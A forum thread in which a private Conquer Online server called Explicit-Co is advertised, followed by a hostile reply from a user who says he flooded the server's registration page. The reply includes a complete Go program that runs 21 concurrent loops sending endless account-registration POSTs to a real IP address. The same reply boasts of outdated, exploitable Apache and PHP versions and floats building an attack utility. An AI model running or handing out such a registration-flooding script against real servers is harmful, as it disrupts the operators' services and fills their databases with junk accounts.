Fresh new server Explicit-Co

07/29/2017 22:16 ExplicitC#1
Hello everyone!

We just launched new EU-hosted server called Explicit-Co!
Fresh and new experience of Conquer Online, it's balanced between Official CO, PVP server and Classic CO.

Now we are recruiting new players to our friendly community, there's something for everyone. No matter if you like new or old CO, there's both!
No need to play for 10 years to get decent character but its not too fast neither.

We ARE NOT pay to win server at all like most of the servers. We are just guys who really love Conquer Online and it's like a lifestyle for us.

Some of the features we have:

- Latest Version
- Cp pack drops (5 or 25cps & Expball(event)
- Vips get cps for every killed monster based on vip level
(VIP4=1cp, VIP5=2cps, VIP6=3cps) (All vips are permanent)
- CTF
- GW
- SGW
- Souls
- Refinery
- Perfection
- Epic weapons
- Chi
- Jiang
- Arena
- Elite PK
- Skill Team PK
- Team PK
- Daily Sign-in rewards
- Daily Quests
- Lottery (Epic one!)
- Battle Power
- Bosses like Nemesis Tyrant and Snow Banshee
- Roulette and Bandits
- Events like they are in official CO
- Custom events for example CPs War and SS/FB Tournament
- Custom Chi shop
- Some custom Garments with stats
- Bigger spawns
+ much much more!

There are of course minor bugs since it's new server so forgive us. All bugs will be fixed asap by our professional programmer.

Events that are running now:

- Crazy Item Sales
- Mystery Banquet
+ more events coming from time to time

- Drop rates are high
- Exp rates are high
- Playable ping worldwide

I'd have much more to write here but just check our site and join us!
**LINK REMOVED** // NO BACKLINK

As a welcome gift we will give all new players one VIP4 token for free!

Everyone is welcome, see you in game! :)

Sincerely,

Explicit-Co GM
08/01/2017 04:00 Spirited#2
Where do I begin with this one... the web server is immediately taken down by a simple go HTTP client. "429 Too Many Requests". Went to stress test registration and it doesn't even register accounts correctly.... it adds "[Only registered and activated users can see links. Click Here To Register...]" to the end of my email. Example: "[Only registered and activated users can see links. Click Here To Register...]@yahoo.com". My mobile number is now "c", and my username is " ". Looks like the same garbage person who's been making all of these horrible websites. Registration has no captchas or spam prevention. I used the code below to spam your server with I don't know how many thousands of accounts.

Code:
package main

import (
    "fmt"
    "net/http"
    "net/url"
    "math/rand"
    "strconv"
)

func main() {
    println("X Gon' Give it to Ya")
    for i := 0; i < 20; i++ { go x() }
    x()
}

func x() {
    for {
        username := "deadpool" + strconv.Itoa(rand.Int())
        v := make(url.Values)
        v.Add("username", username)
        v.Add("password", "deadpool")
        v.Add("password2", "deadpool")
        v.Add("email", "[Only registered and activated users can see links. Click Here To Register...]")
        v.Add("MobileNumber", "1")
        r, err := http.PostForm("http://193.70.22.118/register.php", v)
        if err == nil && r.StatusCode == 200 {
            fmt.Println(username)
        }
        r.Body.Close()
    }
}
I then tried to break your "change password" form, but the usernames I registered don't even work. "Account ID Only letters from "a" to "z" and numbers, lenght of 4 to 12 characters" - then why the fuck did you allow me to register it. If the website is this horrible, I can't imagine to know what the actual game server is like. Though, this might just push me over the edge in making some "Trinity Bomb" utility. PS: Your Apache and PHP versions are outdated and exploitable.
10/13/2017 12:34 wshbr#3
#moved